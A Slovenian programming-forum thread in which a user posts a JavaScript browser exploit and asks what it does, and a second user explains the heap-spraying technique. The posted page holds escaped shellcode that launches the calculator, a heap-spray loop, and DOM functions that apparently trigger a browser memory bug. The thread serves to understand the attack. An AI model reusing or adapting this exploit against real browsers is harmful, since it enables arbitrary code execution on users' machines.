Forum » Programiranje » JavaScript Algoritem
JavaScript Algoritem
Ales_S ::
Pozdravljeni!
Tisti, ki imate dobro znanje programskega jezika JavaScript boste zagotovo znali pomagati.
Zanimalo bi me kaj sledeči algoritem počne; naj bi bila prekoračitev medpomnilnika na kopici (heap). Razen tega kar počne bi bilo priročno razumeti tudi ukaze v obliki nekakšne pseudokode.
Vem, da ima mnogo od vas veliko znanja, zato se zahvaljujem že v naprej!
Hvala lepa vsem!
Tisti, ki imate dobro znanje programskega jezika JavaScript boste zagotovo znali pomagati.
Zanimalo bi me kaj sledeči algoritem počne; naj bi bila prekoračitev medpomnilnika na kopici (heap). Razen tega kar počne bi bilo priročno razumeti tudi ukaze v obliki nekakšne pseudokode.
Vem, da ima mnogo od vas veliko znanja, zato se zahvaljujem že v naprej!
<html> <head> </br> <div id="content"> <p> <FONT> </FONT> </p> <p> <FONT>Loremipsumdoloregkuw</FONT></p> <p> <FONT>Loremipsumdoloregkuwiert</FONT> </p> <p> <FONT>Loremikdkw </FONT> </p> </div> <script language=JavaScript> /* Calc.exe */ var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); /* Heap Spray Code */ oneblock = unescape("%u0c0c%u0c0c"); var fullblock = oneblock; while (fullblock.length<0x60000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<600; i++) { sprayContainer[i] = fullblock + shellcode; } var searchArray = new Array() function escapeData(data) { var i; var c; var escData=''; for(i=0;i<data.length;i++) { c=data.charAt(i); if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c); escData+=c; } return escData; } function DataTranslator(){ searchArray = new Array(); searchArray[0] = new Array(); searchArray[0]["str"] = "blah"; var newElement = document.getElementById("content") if (document.getElementsByTagName) { var i=0; pTags = newElement.getElementsByTagName("p") if (pTags.length > 0) while (i<pTags.length) { oTags = pTags[i].getElementsByTagName("font") searchArray[i+1] = new Array() if (oTags[0]) { searchArray[i+1]["str"] = oTags[0].innerHTML; } i++ } } } function GenerateHTML() { var html = ""; for (i=1;i<searchArray.length;i++) { html += escapeData(searchArray[i]["str"]) } } DataTranslator(); GenerateHTML() </script> </body> </html> <html><body></body></html>
Hvala lepa vsem!
fiction ::
Preberi si kaj o Heap sprayingu. V bistvu sploh ni toliko fora v tem JavaScriptu. Ne gre za ne vem kaksen algoritem. To je le nacin, da na cim vec delov v pomnilniku (na kopico od brskalnika) napises tvoje strojne ukaze (shell kodo). var shellcode so v bistvu direktno bajti od ukazov, ki jih razume procesor.
Problem je nek bug v browserju. Tvoj cilj je izvesti tvoje ukaze. Prekoracitev na skladu ponavadi izrabis tako, da prepises "return address" in tako izvedes skok na tvojo kodo. Zaradi raznih zascitnih mehanizmov to ponavadi ni vec tako enostavno. Prekoracitev na heapu je pa se bolj tezko izrabiti. Naceloma lahko program skoci tudi na nek nakljucen naslov (in ti s tvojim vhodom lahko le povzorcis napako, ne more pa tvoj vhod kontrolirati kam program skoci). Postopek za izkoriscanje take napake je potem tak, da poskusis na cim vec kosov v pomnilniku napisati tvoje ukaze in potem upas da bo nakljucen skok ravno na en tvoj kos.
Problem je nek bug v browserju. Tvoj cilj je izvesti tvoje ukaze. Prekoracitev na skladu ponavadi izrabis tako, da prepises "return address" in tako izvedes skok na tvojo kodo. Zaradi raznih zascitnih mehanizmov to ponavadi ni vec tako enostavno. Prekoracitev na heapu je pa se bolj tezko izrabiti. Naceloma lahko program skoci tudi na nek nakljucen naslov (in ti s tvojim vhodom lahko le povzorcis napako, ne more pa tvoj vhod kontrolirati kam program skoci). Postopek za izkoriscanje take napake je potem tak, da poskusis na cim vec kosov v pomnilniku napisati tvoje ukaze in potem upas da bo nakljucen skok ravno na en tvoj kos.
Vredno ogleda ...
Tema | Ogledi | Zadnje sporočilo | |
---|---|---|---|
Tema | Ogledi | Zadnje sporočilo | |
» | toplota na uporuOddelek: Elektrotehnika in elektronika | 5591 (4139) | A. Smith |
» | Fizika: KondenzatorOddelek: Šola | 1360 (1204) | Galaxy |
» | 220V na tiskanem vezju (strani: 1 2 )Oddelek: Elektrotehnika in elektronika | 6388 (5383) | krho |
» | Fizika - kondenzator(lahka naloga)Oddelek: Šola | 3141 (2878) | cojss |
» | natančni termometriOddelek: Elektrotehnika in elektronika | 1894 (1785) | radiator |